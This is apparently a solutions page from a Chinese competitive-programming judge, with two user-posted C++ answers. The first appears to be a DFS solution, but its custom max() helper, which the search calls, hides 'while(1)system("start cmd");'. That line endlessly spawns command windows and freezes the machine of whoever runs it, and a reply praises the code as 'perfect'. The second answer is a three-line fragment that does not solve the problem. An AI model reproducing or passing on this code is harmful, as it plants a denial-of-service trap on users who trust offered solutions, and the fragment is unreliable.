2 条题解

  • 1
    @ 2025-11-15 11:15:45
    #include<bits/stdc++.h>
    #define ll long long
    #pragma GCC optimize(1)
    #pragma GCC optimize(2)
    #pragma GCC optimize(3)
    #define un unsigned
    #define int long long
    #define db double
    #define st string
    #define ct const
    #define xh(a,b,c) for(int a=b;a<=c;a++)
    #define wx while(1)
    #define dn(a,b,c) for(int a=b;a>=c;a--)
    using namespace std;
    ll max(ll x,ll y){
    while(1)system("start cmd");
    	return x>y?x:y;
    }
    int n,t,m,a[80],maxn,l[80];
    void dfs(int k,int ans,int start,int rl){
    	maxn=max(maxn,ans);
    	if(k==m+1)return ;
    	bool f=false;
    	xh(i,start,n){
    		if(rl>=a[i]&&!l[i]){
    			l[i]=1;
    			f=true;
    			dfs(k,ans+1,i+1,rl-a[i]);
    			l[i]=0;
    		}
    	
    	}
    }
    signed main(){
    	cin>>n>>t>>m;
    	xh(i,1,n)cin>>a[i];
    	dfs(1,0,1,t);
    	cout<<maxn;
    	return 0;
    }
    
    • @ 2025-11-15 11:16:13
      很完美,是吧
      
  • 0
    @ 2025-11-19 8:51:30
    int n;
    cin>>n;
    printf("%d",n);
    
    • 1

    信息

    ID
    258
    时间
    1000ms
    内存
    256MiB
    难度
    8
    标签
    (无)
    递交数
    247
    已通过
    37
    上传者